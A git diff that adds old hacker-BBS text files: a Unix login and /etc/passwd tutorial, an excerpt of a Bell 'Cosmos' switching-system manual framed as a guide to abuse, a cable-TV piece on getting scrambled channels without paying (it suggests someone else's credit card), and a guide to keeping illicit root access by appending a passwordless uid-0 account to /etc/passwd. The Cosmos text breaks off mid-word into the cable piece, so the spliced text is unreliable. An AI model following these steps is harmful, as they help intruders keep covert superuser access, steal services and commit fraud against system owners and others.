PROMPT WHICH LOOKS LIKE THIS: + +LOGIN: + +pRETTY SIMPLE HUH? aNYWAY, THAT IS THE STANDARD LOGIN PROMPT, IT MAY OR MAY +NOT BE PRECEDED BY A MESSAGE TELLING YOU WHAT TYPE OF uNIX OR SYSTEM YOU HAVE +CONNECTED TO. + iF YOU TRY TO LOGIN WITH AN ILLEGAL LOGIN NAME AND/OR AN ILLEGAL +PASSWORD THE SYSTEM WILL RESPOND AS SUCH AND AS YOU TO TRY AGAIN: + +LOGIN:HACKER +PASSWORD: +LOGIN INCORRECT +LOGIN: +(nOTE THE PASSWORD IS NOT ECHOED IN ANY FORM) + + iN pART i OF THIS uNIX TUTORIAL i'D LIKE TO START WITH AN OVERVIEW OF +THE uNIX SYSTEM BEFORE i GET INTO SOME OF THE MORE INTERESTING STUFF (SO BEAR +WITH ME ALL YOU uNIX EXPERTS). tHEN i WILL GO THROUGH THE LOGIN PROCESS AND +THE /ETC/PASSWD FILE AND HOW IT IS STRUCTURED. tHIS WILL NOT BE AN IN-DEPTH +LOOK AT ALL, MERELY AN OVERVIEW. sOME DAY i WILL WRITE AN IN-DEPTH STUDY TO +ACCOMPANY THIS FILE AND THE FILES THAT FOLLOW FOR THE MORE ADVANCE USER/HACKER. + + tHERE ARE BASICALLY 2 TYPES OF uNIX SYSTEMS THAT YOU WILL MOST LIKELY +COME ACROSS. tHEY ARE: + +i. bsd uNIX - FROM uc bERKELEY'S (b)ERKELEY (s)OFTWARE (d)ISTRIBUTORS +ii. sYSTEM v unix - FROM at&t (HOW NICE - i KNOW ALL YOU PHREAKERS ARE SMILING!) +(oTHER SPINOFF'S OF THE ABOVE 2 WILL NOT BE DISCUSSED - SUCH AS uLTRIX, + mINIX, xENIX, ETC...) + + tHEY ARE ALIKE IN MANY RESPECTS BUT BOTH HAVE THEIR DIFFERENCES, HENCE +THEIR ARE ADVANTAGES AND DISADVANTAGES TO BOTH OF THE SYSTEMS, bsd AND sYS v. +pERHAPS THE MAIN DIFFERENCE BETWEEN THE TWO ARE THE DEFAULT SHELL THAT EACH +USES AS THE USER INTERFACE TO THE SYSTEM UTILITIES. + bsd uNIX DEFAULTS TO THE CSH (c-sHELL) WHILE at&t'S sYS v USES THE SH +(bOURNE SHELL). bUT ON BOTH OF THESE SYSTEMS BOTH SHELL TYPES ARE AVAILABLE TO +THE USER. a THIRD OPTIONAL SHELL WHICH IS ALSO PRETTY POPULAR IS THE KSH +(kORN SHELL). tHE WAY TO RECOGNIZE THE DEFAULT SHELLS WHEN YOU SEE THEM IS BY +THEIR DEFAULT PROMPT. tHE CSH USES THE % SYMBOL AS THE PROMPT WHILE THE SH +USES THE $ SYMBOL AS THE PROMPT. + nOW LET'S TALK ABOUT FILES, SHALL WE? tHE most IMPORTANT FILE OF ALL +ON any unix SYSTEM IS THE PASSWORD FILE. tHIS FILE HOLDS INFORMATION ABOUT +ALL THE ACCOUNTS ON THE SYSTEM, PASSWORDS, AND OTHER INFORMATION. wITHOUT +THIS FILE NO ONE CAN LOG IN AND USE THE SYSTEM. yOU CAN FIND THIS FILE ON ANY +SYSTEM IN THE /ETC DIRECTORY. iT IS CALLED SIMPLY 'PASSWD'. tHE FULL +PATHNAME IS /ETC/PASSWD (OF COURSE). + + tHE /ETC/PASSWD FILE IS STUCTURED AS SUCH: +eACH USER HAS AN ENTRY IN THE PASSWD FILE THAT HOLDS HIS ACCOUNT INFORMATION. +aMONG THE INFORMATION INCLUDED ON EACH USER ENTRY LINE IS HIS LOGIN NAME, +HIS PASSWORD (ENCRYPTED), HIS USER ID, HIS GROUP ID, HIS HOME DIRECTORY, HIS +NAME, AND HIS STARTUP PROGRAM IF ANY. bASICALLY IT LOOKS SOMETHING LIKE THIS: + +------------------------ sAMPLE /ETC/PASSWD FILE -------------------------- + gENERAL FORMAT OF EACH ENTRY: +LOGIN:PASSWORD:USER-id:GROUP-id:INFO:HOME DIRECTORY:STARTUP PROGRAM + +ROOT:aRLLZ76dNQ:0:0:tHE & OF aLL eVIL:/:/BIN/CSH +JSMITH:yI83AMQ9:102:100:jOHN sMITH:/USR/JSMITH:/BIN/SH +WHO::99:500:wHO'S ON:/USR/UCB:/BIN/WHO +DAEMON:R6eEU:1:1:tHE devil HIMSELF:/ETC:/BIN/CSH +BIN:MB033YT:3:3:tHE kEEPER OF THE fLAME:/ETC:/BIN/CSH +INFO::508:501:lIBRARY USER GROUP:/USR2/INFO:/USR2/BIN/RSH +..... +..... [ AND SO ON ] +..... +---------------------------------------------------------------------------- + nOW WE'LL EXAMINE EACH ENTRY. rEMEMBER THAT EACH FIELD IS SEPARATED +BY THE COLON. sO IN THE FIRST ENTRY IN /ETC/PASSWD GIVEN ABOVE, WE CAN TELL +THE FOLLOWING ABOUT THE ENTRY. + +LOGIN NAME IS: ROOT +pASSWORD (ENCRYPTED): aRLLZ76dNQ +uSER id: 0 +gROUP id: 1 +iNFO (USUALLY OWNER): ROOT +hOME dIRECTORY: / +sTARTUP pROGRAM: /BIN/SH + +tHE SECOND ENTRY IN /ETC/PASSWD LOOKS LIKE THIS: +LOGIN NAME IS: JSMITH +pASSWORD (ENCRYPTED): yI83AMQ9 +uSER id: 102 +gROUP id: 100 +iNFO (USUALLY OWNER): jOHN sMITH +hOME dIRECTORY: /USR/JSMITH +sTARTUP pROGRAM: /BIN/SH + + bUT NOW YOU GET THE GENERAL FORMAT...SO LET'S DISCUSS SOME THINGS +ABOUT THE FIELD. + +i. tHE LOGIN FIELD + tHIS IS THE LOGIN NAME THAT YOU USE TO LOGIN AT THE PROMPT OF THE uNIX +SYSTEM. dURING THE LOGIN PROCESS, AFTER YOU ENTER THE LOGIN AND THE PASSWORD +THE SYSTEM WILL THEN CALL ROUTINES TO SEARCH THE 1ST FIELD OF EACH ENTRY +IN /ETC/PASSWD TO SEE IF ANY LOGIN NAMES MATCH UP WITH THE ONE YOU HAVE GIVEN +IT. iF NONE EXISTS IT WILL REPORT THE "LOGIN INCORRECT" MESSAGE AND START +PROMPTING FOR A NEW LOGIN NAME AND NEW PASSWORD. + +ii. tHE pASSWORD FIELD + iF THE LOGIN NAME IS VALID, uNIX THEN TAKES YOUR PASSWORD ENTRY AND ENCRYPTS +IT THEN COMPARES IT AGAINST THE ENCRYPTED PASSWORD IN THE 2ND FIELD OF THE +LOGIN NAME ENTRY (SEE i. tHE LOGIN FIELD). iF THE TWO PASSWORDS MATCH UP, THE +LOGIN PROCESS WILL CONTINUE, OTHERWISE THE "LOGIN INCORRECT" MESSAGE WILL BE +DISPLAYED. i'LL EXPLAIN LATER WHAT GOES ON WHEN COMPARISONS OF THE ENCRYPTED +PASSWORDS TAKE PLACE. iF THE pASSWORD fIELD CONTAINS NULL :: THEN NO PASSWORD +IS NEEDED AND THE SYSTEM LOGS YOU INTO THE HOME DIRECTORY AND EXECUTES THE +STARTUP PROGRAM. iF THE pASSWORD fIELD CONTAINS :,.: THEN UPON LOGIN THE +SYSTEM WILL RUN THE PASSWD UTILITY AND ASSIGN THAT ACCOUNT A PASSWORD. (tHIS +IS NICE IF YOU'RE A SYSTEM ADMINISTRATOR, YOU CREATE AN ACCOUNT FOR YOUR +FRIEND THEN PUT THE ",." IN THE PASSWORD FIELD AND HE'LL SET HIS OWN PASSWORD +UPON LOGIN. + +iii. tHE uid (uSERid) FIELD + iF EVERYTHING IS CORRECT (LOGIN NAME AND PASSWORD) THEN THE SYSTEM PROCEEDS +TO PUT YOUR IN YOUR HOME DIRECTORY. yOU ARE THEN GIVEN A uid FROM YOUR ENTRY +IN THE /ETC/PASSWD FILE. aLL uid'S FALL IN THE RANGE 0-65535 WITH 0 AS THE +SUPERUSER uid (SEE /ETC/PASSWD EXAMPLE). tHE SYSTEM RESERVES uid 0-99 FOR +SPECIAL ACCOUNTS. uid'S ARE USED BY THE SYSTEM AND ITS UTILITIES TO CONTROL +BOTH ACCESS LEVELS AND FILE OWNERSHIP (AS DETERMINED BY THE LS UTILITY - MORE +ON THAT LATER). + +iv. tHE gid (gROUPid) FIELD + tHE gROUP id IS USED TO ASSOCIATE THE USER WITH A CERTAIN GROUP, USED BY +uNIX PRIMARILY FOR ACCESS LEVELS AS DETERMINED BY FILE PROTECTIONS. (I.E. +A MEMBER WHO IS NOT IN A GROUP CAN NOT GET GROUP PRIVILEGES ON FILES FOR THAT +GROUP, EVEN THOUGH FILE PROTECTIONS FOR THE FILE SAY ALL PRIVILEGES TO GROUP +USERS.) gid'S FALL IN THE RANGE 0-655535 WITH gid 1 BEING THE DEFAULT. aLL +gid'S BETWEEN 0-99 ARE RESERVED. + +v. tHE iNFORMATION FIELD + tHIS FIELD USUALLY HOLDS THE ACCOUNT OWNER'S NAME THOUGH IT CAN BE USED +FOR ANYTHING ACTUALLY. i HAVE SEEN IT USED TO DESCRIBE THE ACCOUNT FUNCTION +(SEE THE SAMPLE /ETC/PASSWD FILE ON THE ENTRY FOR LOGIN NAME "WHO"), AND ALSO +TO HOLD PEOPLE'S PHONE EXTENSION, ETC.. + +vi. tHE hOME dIRECTORY fIELD + tHIS FIELD SHOULD HAVE THE FULL PATHNAME TO YOUR HOME DIRECTORY. oN MANY +unix SYSTEMS IT IS USUALLY IN THE FORMAT OF /USR/*LOGINNAME! (sEE THE +ENTRY FOR LOGIN NAME "JSMITH"). nOT NECESSARILY YOUR permanent HOME +DIRECTORY, ONE CAN CHANGE IT BY REASSIGNING AN ALTERNATE PATH TO THE SYSTEM +VARIABLE $home (ON sYS v). + +vii. tHE pROGRAM fIELD + uSUALLY THIS FIELD HOLDS THE STARTUP PROGRAM TO EXECUTE ONCE THE LOGIN +PROCEDURE HAS BEEN COMPLETED. iF LEFT BLANK THEN THE DEFAULT STARTUP PROGRAM +WILL BE THE SHELL ASSIGNED TO THE uNIX SYSTEM. iN THE OUR EXAMPLE /ETC/PASSWD +FILE, THE ENTRY FOR LOGIN NAME WHO, WILL EXECUTE THE WHO COMMAND IN /BIN/WHO +ONCE YOU LOG IN. hOWEVER, AFTER THE COMMAND FINISHES EXECUTING, IT WILL EXIT +THE SYSTEM AS THERE IS NO PASSWORD ON THE ACCOUNT, THERE IS NO WAY TO STAY +LOGGED IN. oN THE INFO ACCOUNT HOWEVER, YOU WILL REMAIN LOGIN UNTIL YOU TYPE +EXIT OR LOGOUT OR ctrl-d AS THE PROGRAM RUNNING THERE IS A SHELL. tHOUGH NOT +A FULL bOURNE SHELL OR c-SHELL, THE RESTRICTED SHELL (RSH) DOES ALLOW TO YOU +PLAY AROUND A LITTLE. + + wELL, THAT ABOUT DOES IT FOR WHAT i WANT TO COVER IN pART i. lOOK FOR +pART ii COMING OUT REAL SOON. i WILL BE GOING INTO DETAILS WHAT TO DO ONCE +ONLINE WITH AN ACCOUNT AND HOW TO GO ABOUT GETTING AN ACCOUNT. tHIS FILE IS +FOR INFORMATIONAL PURPOSES ONLY. +------------------------------------------------------------------------------ + +bROUGHT TO YOU BY: tHE aPPLE bANDIT 10-89 + + +Text-Files 2:  \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unix2.hac b/textfiles.com/hacking/UNIX/unix2.hac new file mode 100644 index 00000000..70fa5922 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix2.hac @@ -0,0 +1,341 @@ + ****************************************************************************** + * * + * C O S M O S * + * * + *************** C O P Y R I G H T 1 9 8 4 D O C T O R W H O *************** + + COSMOS SERIES PART 1 - THE MANUAL + +MAY 1, 1984: + + IN THIS SERIES OF ARTICLES WE WILL DEAL WITH COSMOS, THE BELL SWITCHING +COMPUTER, HOW IT WORKS AND HOW TO USE IT TO YOUR OWN BENEFIT. + + FIRST IN THE SERIES IS PART OF THE ACTUAL COSMOS MANUAL. IT IS NOT THE WHOLE +THING, BUT THE BEST PART..IT MAY BE DIFFICULT TO UNDERSTAND, BUT IT IS A +VALUABLE REFERENCE MANUAL. + +NOTE: THIS IS IN 80 COLUMNS AND LOWER CASE. + +BELL ISSUE: OPA-1Y632-01 + ISSUE 2, JANUARY 1983 + + + +5. PERMANENT ASSEMBLIES + +5.1 Create a Permanent Assembly (CAY) + + Transaction CAY associates a group of facilities as an assembly. Permanent +Assemblies may be created from facilities which have spare (SF), reserved (RS), +avaliable (AV), miscellaneous (MS), official (OF), trunk injector (TJ), test +(TS) or working (WK) status. Facilities that have an excluded (EX), left-in +(LI) or unknown (UK) status, may not be part of a Permanent Assembly. + + When a Permanent Assembly is created, the status of non- working facilities +will be changed to reserved and will be assigned an assembly code will be +assigned to the facilities. + + Although Permanent Assemblies may be created using a combination of working +facilities and spare facilities, service orders that are issued against such +assemblies are blocked. Therefore, it is recommended that Permanent Assemblies +using a combination of working and spare facilities not be created. + + In an operational wire center, if an assembly is to be made permanent in +COSMOS, an assembly catagory (AC) of "PERM" must be specified on the CAY input. +In a data conversion wire center, Permanent Assemblies are assumed, so the input +of "AC PERM" is not required. + + System generated codes identify Permanent Assemblies on output by one +alphabetic character. All alphabetic characters are randomly assigned except S, +T, and Z. When associated with a facility, these alphabetic characters +indicate: + + S = Suspended Cricuit + T = Reserved for TIRKS (Trunk Inventoried Record Keeping System) + Z = Assembled facilities that have been suspended. More than one group of +assembled facilities may show the same assembly code tag. This does not imply +that all facilities with the same tag are assembled to each other; they must +also be in the same circuit to be assembled to each other. Each code may be +used more than once. + + When a Permanent Assembly is deleted, the assembly code tag is removed from +the facilities. Non-working facilities will return to a spare status. +Equivalent working facilities will retain their present status. + + Permanent Assemblies can be created from any combination of the following +facilities: + + Telephone Number (TN) + Line Equipment (OE) + Cable Pair (CP) + Tie Pair (TP) + Bridge Lifter (BL) + Trunk (TK) + Concentrator (CON) + Message register (MR) + Special Equipment (SE) + + Automatically Assigned Relays - Advanced (AR), Sleeve- Connect (SC), Tens +Block Auxiliary (TBA), and Tens Block Screening (TBS) types + + Non-Inventoried Relays (RLY) + Terminal (TER) + X-Number (XN) + Private Lines (PL) + Transimission Equpitment (TRE) + + At least one inventoried facility, PL or TER must be entered into the assembly +before any SEs, non-inventoried TKs, or CONs. + +---------- + * When a working relay, (both inventoried and non- inventoried) which os part +of a Permanent Assembly is disconnected, COSMOS does not presently have the +capability of updating the relay files and table to reflect this disconnect. + + + Coordination between the LAc and the FCC (Frame Control Center) is required to +establish Permanent Assemblies on both spare and working facilities. + + The following examples illustrate various functions of transactions CAY +(Create an Assembly) and ISH (Circuit Inquiry). + + Example 1: Create a Permanent Assembly associating a spare CP and SE with +voice repeater information. + + +EL% CAY +I CP 2-1010/TP TM03-606/SE VR-330(F04001)/AC PERM +_. +**CAY COMPLETED + + +Example 2: An inquiry (ISH) on the above assembly. + + The inquiry shows that the alphabetic (permanent) assembly code is assigned to +each facility that is part of the assembly. Also note that the tie pair and +points have been populated. + +EL% ISH +H CP 2-1010 +_. + +CP 2-1010 + ST RS AY M DATE 01-18-83 + LOC WF02005 +TP TM03-0606 + ST RS AY M DATE 01-18-83 + LOC F02005 + LOC F04001 + FROM FAC CP 2-1010 TO FAC SE VR-330 +SE VR-330 + ST RS AY M + LOC F04001 + + +**ISH COMPLETED + + +Example 3: An ISH on a working circuit without an assembly. + +EL% ISH +H CP 2-1010 +_. + +SE VR-330 + ST WK + LOC F04001 +TP TM03-0606 + ST WK DATE 01-18-83 + LOC F02005 + LOC F04001 + FROM FAC CP 2-1010 TO FAC SE VR-330 +CP 2-1010 + ST WK DATE 01-18-83 RZ 13 + LOC WF02005 +OE 000-026-015 + ST WK DATE -1-18-83 CS IFR US 1FR FEA TNNL + LOC WF02007 +TO TM01-0741 + ST WK DATE 01-18-83 + LOC F02007 + LOC F04001 + FROM FAC OE 000-026-015 TO FAC SE VR-330 +TN 833-7328 + ST WK DATE 01-18-83 TYPE X + + + +**ISH COMPLETED + + + + Example 4: Create a Permanent Assembly associating a working CP, TP and SE +from the circuit in Example 3. + +EL% CAY +I CP 2-1010/TP TM03-606/SE VR-330/AC PERM +_. +**CAY COMPLETED + + + Example 5: An ISH of the circuit. + + The inquiry identifies the Permanent Assembly linking the CP, TP and SE. This +information will remain linked even after the circuit is disconnected. + +EL% +H CP 2-1010 +_. + +SE VR-330 + ST WK AY G + LOC F04001 +TP TM03-0606 + ST WK AY G DATE 01-18-83 + LOC F02005 + LOC F04001 + FROM FAC CP 2-1010 TO FAC SE VR-330 +CP 2-1010 + ST WK AY G DATE 01-18-83 RZ 13 + LOC WF02005 +OE 000-026-015 + ST WK DATE 01-18-83 CS 1FR US 1FR FEA TNNL + LOC WF02007 +TP TM01-0741 + ST WK DATE 01-18-83 + LOC F02007 + LOC F04001 + FROM FAC OE 000-026-015 TO FAC SE VR-330 +TN 833-7428 + ST WK DATE 01-18-83 TYPE X + +**ISH COMPLETED + + + + +5.2 Modify a Permanent Assembly + + Transaction MAY is used to modify a Permanent Assembly (in instances when a +service order is being changed, etc. ). The assembly to be modified must be +identified by an inventoried facility (other than AR, SC, TBA), a PL or a TER on +the H- line. Facilities to be added are entered on I-Lines. Facilities to be +deleted are entered on 0-Lines. The input of assembly category (AC) PERM is not +requied on the H-line input for MAY. The Permanent Assembly tag will be removed +from the outgoing facility and transferred to the incoming facility at the +completion of the MAY transaction. + + When MAY is completed, the outgoing facility (s) that had a reserved status +will be changed to "spare" status. If the outgoing facility is presently +working, the status will remain the same. + + Incoming facilities that are spare will be changed to a "reserved" status. +Incoming facilities that are working will retain that status. + + The following examples illustrate various functions of transactions MAY +(Modify an Assembly) and ISH. + + + + Example 6: An inquiry (ISH) of a Permanent Assembly. + +TA% ISH +H CP 2-1365 +_. + +CP 2-1365 + ST RS AY G DATE 01-20-83 + LOC F02006 +TP TM01-1151 + ST RS AY G DATE 01-20-83 + LOC F02005 + LOC F04001 +TRE DLXREG0401 RR104,06-037 + ST RS AY G DATE 01-20-83 + LOC F04001 + + + +**ISH COMPLETED + + + + Example 7: Modify a Permanent Assembly changing the transmission equipment. + +TA% MAY +H CP 2-1365 +_O TRE RR104.06-037 +_I TRE RR104.06-038 +_. +OUT: TRE DLXREG0401 RR104.06-037 +IN: TRE RR104.06-038 +**MAY COMPLETED + + + + + Example 8: An inquiry (ISH) on the modified assembly. + + The inquiry shows that TRE RR104.06-038 has become part of the assAS TRANSMITTED IN THE MIDBAND +OR SUPERBAND MODE, HE WAS UP SHIT CREEK, BECAUSE HE HAD NO WAY TO GET THE SIGNAL +DOWN TO A FREQUENCY HIS TV OR VCR COULD RECIEVE. BUT IF HE HOOKED UP HIS LITTLE +RADIO SHACK CONVERTER, PRESTO! HE WAS SET. + + + 2. NOW IS A GOOD TIME TO MAKE CLEAR AN IMPORTANT POINT. CABLE CONVERTERS DO +!NOT! UNSCRAMBLE A SCRAMBLED SIGNAL, THEY MERELY MOVE IT TO A FREQUENCY THE +TV/UNSCRAMBLER/VCR/WHATEVER CAN GET A HOLD OF IT. THERE IS LOTS OF SPACE BET- +WEEN CHANNELS 13 AND 14-IT IS THE DIV- IDING LINE BETWEEN VHF AND UHF. THERE +ARE PLACES IN THERE YOUR TV JUST CAN'T GET TO. + + 3. HERE COMES ANOTHER POINT: THOSE OF YOU WITH 'CABLE READY' TVS THINK +YOU'RE HOME FREE NOW, EH? NO. WHILE A CABLE READY TV WILL LET YOU VIEW ANY MID +AND SUPERBAND CHANNELS THAT YOU MAY UNKNOWINGLY RECIEVE, THE SCRAMBLED ONES ARE +STILL SCRAMBLED. SO WHAT DO YOU NEED NOW? AN UNSCRAMBLER, OF COURSE. + + *************************************** + + 4. IT MAY BE NECESSARY TO EXPLAIN WHAT IS ACTUALLY HAPPENING IN YOUR BOXES +THAT YOU RENT FROM THE CABLE CO. THUS: ----- IF YOU HAVE BOTHERED TO PAY EXTRA +FOR ANY SCRAMBLED CHANNELS, YOU ARE GIVEN AN UNSCRAMBLER AND CONVERTER BY THE +CABLE CO. FOR WHICH YOU GLADLY PAY RENT IN ADDITION TO YOUR CABLE FEE. THIS IS +USUALLY A BROWN BOX THAT COMES IN SEVERAL STYLES, EXPOUNDED UPON BELOW: + + DIGITAL WITH REMOTE: A SMALL BOX UPON YOUR TV, WITH A DIGITAL DISPLAY OF THE +CHANNEL YOU ARE WATCHING. YOU HAVE A TRUSTY REMOTE, AND ZAP AWAY AT WILL. + + KNOB STYLE: A BOX OR NON-WIRELESS REM- OTE WITH A LARGE KNOB ON IT. IT, OF +COURSE, SELECTS WHAT CHANNEL YOU ARE WATCHING. + + SWITCHBOARD STYLE: A 9" X 5" (OR SO) BOARD WITH SEVERAL 3 POSITION VERTIC- +ALLY MOVING SWITCHES. WHAT THE HELL DO THESE DO? YOU'LL NEVER GUESS. + + THE KIND WITHOUT ANY SWITCHES: (NOW HOW WILL I OPERATE MY DIGITAL WATCH?) +THIS IS CALLED A BLOCK CONVERTER. MORE ON THESE LATER. + + *************************************** + + WHAT IS GOING ON: AHHH, THE GOOD PART. WHAT HAPPENS HERE IS THIS: NOW +MATTER WHAT SYSTEM YOU HAVE (EXCEPT FOR THE LAST- IGNORE THAT FOR NOW.) IN SOME +WAY YOU SELECT A CHANNEL. THE CABLE CONVERTER RUNS OFF, FINDS THIS CHAN- NEL, +AND YANKS IT DOWN TO CHANNEL 3 (OR 2, OR 4, WHATEVER YOUR CABLE CO. USES.) +WHERE YOUR TV IS WAITING FOR IT. (YES, THATS WHY YOU PUT YOUR TV ON THE SAME +CHANNEL AND CHANGE CHANNELS WITH THE KNOB, REMOTE, OR WHATEVER.) NOW, IF IT'S A +SCRAMBLED CHANNEL, AND YO ARE AUTHORIZED TO RECIEVE IT, THE SIGNAL IS REROUTED +THROUGH A SMALL UN- SCRAMBLER. (A NOTE: CABLE SCRAMBLING METHODS ARE PIDDLY +LITTLE HINDRANCES; FOR A REAL BITCH OF A SCRAMBLER SEE THE SSAVI SYSTEM, +EXPLAINED IN PART 2.) THE SIGNAL IS AGAIN SPAT OUT AT CHANNEL 3, AND YOUR TV +GLOWS HAPPILY AWAY, DIS- PLAYING YOUR MID OR SUPERBAND CHANNEL. + + + 5. AT THIS POINT, A QUESTION MAY BY NUDGING AROUND YOUR TEMPORAL LOBES NOW. +SOMETHING ALONG THE LINES OF " HOW DO I GET CABLE TV WITHOUT PAYING FOR IT, +DAMMIT??" WELL, HERE WE GO. YOU LOOK UP THAT PLACE I MENTIONED IN PART II. +(ADDRESS & PHONE# AT END) JUST FORK OVER YOUR $30 (OR SOMEONE ELSE'S CREDIT +CARD) AND GET ONE OF THESE NIFTY LITTLE UNSCRAMBLERS. NOW, MIND YOU, THE CABLE +CO. WANTS IT'S (YOUR?) MONEY MORE THAN YOU THINK, AND WILL BE RATHER UPSET IF +THEY FIND YOU DOING ANY OF THIS SHIT, SO TAKE CARE. HERE'S HOW TO HOOK UP YOUR +UN- SCRAMBLER: + + FIRST, ADJUST THE U \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unixacct.txt b/textfiles.com/hacking/UNIX/unixacct.txt new file mode 100644 index 00000000..cbbea2f4 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixacct.txt @@ -0,0 +1,218 @@ + ________________________ + // Creating Unix Accounts \ + \\ by the Kryptic Night / + // and the \ + \\ Servants of the / + // Mushroom Cloud \ + \\________________________/ + \ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + + So, you've hacked the *ROOT* account on some unix system? + You have the full power of the unix system at your hands, and you + want to keep it that way for a long time? Using the root account + is not the way to do this! This short little file will describe + a way that will allow you to keep your access for as long as possible. + + + +--------------------------------------------------------------------------- + + - - - Creating Unix Accounts - - - + First, you need to logon to the Unix system as the root account. +You should be confronted with a '#' or a '&', depending on which +software the system is run on, and which shell it is under. Don't worry +if it isn't one of these, many sysops like to create their own prompts. +I've seen some as stupid as 'Hi! Steve! >' to 'Don't forget to backup! >'. + + Set up your settings and check your security, you don't want to be +interrupted by some moronic buffoon who is logged on at the same time as +you...especially if it's the root's other account. To see if someone else +is online, type 'who'. You will be assaulted by a list of users who are +currently on the system at the same time as you. You should do a 'finger' +to everyone of the users on their, looking for anything suspicious. +If it tells you that he is the root, or sysop, you will want to call back +later. Also, if it is convenient, change your settings to allow for +backspaces, aliasing, etc. + + Next, you should create your home directory. A home directory is the +location of all your login scripts, your files, and the directory that is +loaded upon login. This should be located in the same directory as all the +legitimate users. If you see a directory with a multitude of names in it, +odds are it's the user directory. Most often, it is the /usr or /user +directory. From that directory type. . . + +#mkdir XXXXX ; Don't type the '#', the XXXX is the name + ; of the user's home directory. This can + ; be anything you like, however, try for + ; something unsuspicious...a directory like + ; /usr/flaming_fag will catch attention + + + Ok, we got that over with painlessly. Your next step is to go to the +/etc directory.... A simple 'cd /etc' will do. If you do a ls -l, you will +see a file called 'passwd' this is the password file, it is the only one on +the system that is used. If you 'cat passwd' the file, you will see all +the users able to log on. Here is an example of what a user may look like... + +Bendover:iaKJhHkjahfuH:0:0:Asshole:/user/bend:/bin/csh +\______/ \___________/\/\/\_______/\________/ \______/ + 1 2 3 4 5 6 7 + + +1 - This is the name of the account used to logon. +2 - This is the encrypted password. If you see something like.... + Bendover::0:0: it means that this is an account + that doesn't require a password to logon. Most systems have one + or two of these for things like netting, maintenance, and guest + accounts. +3 - This is the users level. A level of 0 is a superuser. +4 - This is the number of the group the user is in. +5 - This is a short description of the account. This is usually a full + name or a position. +6 - This tells where the home directory is located. +7 - This is the default shell to use upon logon. + csh - C Shell; sh - Bourne Shell; ksh - Korn Shell + rsh - Restricted Bourne Shell + + + To add a user to the password file, providing you have write access, +you can do several things. The one I will explore is called redirection. +With this method, you can add a new line to the file from the prompt. +To do this you will need to type . . . + +#echo XXXXXX::0:0:XXXXX:/XXXX/XXXX:/bin/XXX >>passwd + + You will need to fill in the X's with appropriate information, an example +I've used in the past is.... + +#echo mikeb::0:0:michael boyd:/usr1/mikeb:/bin/csh >>passwd + + You may choose to use a different group number, it may catch the sysops +attention more if he sees two 0's, versus just one. I've never done this, +but it really shouldn't make a tremendous difference. + + By now you should, if all went well, you should have another user! +Just to verify your work, 'cat' the password file and look for your +name at the bottom of the list. If it isn't their, try again. Make +SURE you use TWO '>'s, or else you will destroy the passwd file...This +is NOT good. + + If everything worked out, logout. Try not to hang up, as this sometimes +hangs the terminal you were logged on as. This may be a bit dangerous if +the terminal connects to the next person who calls, dropping them into the +root accounts shell. Call back in about a minute or so, and logon as the +user you just created. It shouldn't ask for a 'password:' as you specified +none. If + +it does, then you probably typed in the name in different caps +than you typed it into the password file. Remember, caps DO matter. + + Assuming that you were able to log on, you will now be using your NEW +account. That's about all that is really necessary. You will want to create +your .login, and your .cshrc files eventually. But for now, you can just copy +them from another user. Use a 'ls -al' in another users home directory to see +if he has a copy of these files. If he does, copy them by + +'cp .login /XXX/XXXX/.login ' + +The X's specify your home directory. + + + - - - Conclusion - - - + + This file is obviously slated for the person who is just beginning to learn +Unix, although it is unlikely that a person who can attain a root account is +ignorant of unix, it is easier for EVERYONE to understand like it is. If this +file insults your intelligence, that's your problem. I've seen several people +who have root accounts, know unix fairly well, and still cannot create users. +I've tried to include as much information as I can, but I may have overlooked +something that I think is simple, but may confound you. If I do, tell me, and +I'll try to keep away from it in future releases. I'll also consider updating +this file and re-releasing it. + +----------------------------------------------------------------------------- + + - - - Bibliography and Suggested Reading - - - + +Unix Use and Security From the Ground Up: by the Prophet in 1986 + This is probably the BEST file I've ever seen on the subject + of Unix. It is written for the beginner, and contains valuable + information for the advanced user. The Prophet became a member + of Lod/H and is currently serving a sentence of 20 months in + relation to the big Lod/H bust of '90. + +Articles on unix trojans and mischief: by Shooting Shark + Shooting Shark presents some interesting information + on various ways to commit havoc on Unix systems. You + can find most of his essays in both Phrack and Lod + magazines. + +Lod/H Tech Journals + The Legion of Doom/Hackers are perhaps the most skilled + and knowledgable hackers in the underground society. + Their 'Tech Journals' describe almost anything you'd ever + want to know about illegal activities. + +Phrack Magazines + Phrack is also one of the best sources for information on + a multitude of subjects, ranging from social engineering, + to carding, to making explosives. For those with free time, + download all of the 32 articles released to date. + +---------------------------------------------------------------------------- + + Thanx go out to Emerikol the Chaotic for the idea of making this +file, SiD for their quality releases, every SMC member, and all else who +contribute to the free exchange of information in fascist Amerikkka. + + + | + | \ + | /\/\ / ³\ ÄÂÄ + | / \ / ³ \ A ³ A + | / |/| / / \ ³ / ³ / + |/ | < \ ³/ ³/ U L T + |\ RYPTIC / | \ \ / ³\ + | \ / | \ ³ \ + |\ | | \ + | \ | + | \|IGHT + / ` + + + + + - Kryptic Night, Data Kult, Lord Logics, Shadow Walker, The Scorpian - + Nacht Habicht + + + + + + + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron Jeff Hunter 510-935-5845 + Salted Slug Systems Strange 408-454-9368 + Burn This Flag Zardoz 408-363-9766 + realitycheck Poindexter Fortran 415-567-7043 + Lies Unlimited Mick Freen 415-583-4102 + Tomorrow's 0rder of Magnitude Finger_Man 408-961-9315 + My Dog Bit Jesus Suzanne D'Fault 510-658-8078 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/hacking/UNIX/unixart.hac b/textfiles.com/hacking/UNIX/unixart.hac new file mode 100644 index 00000000..9db76cbd --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixart.hac @@ -0,0 +1,191 @@ 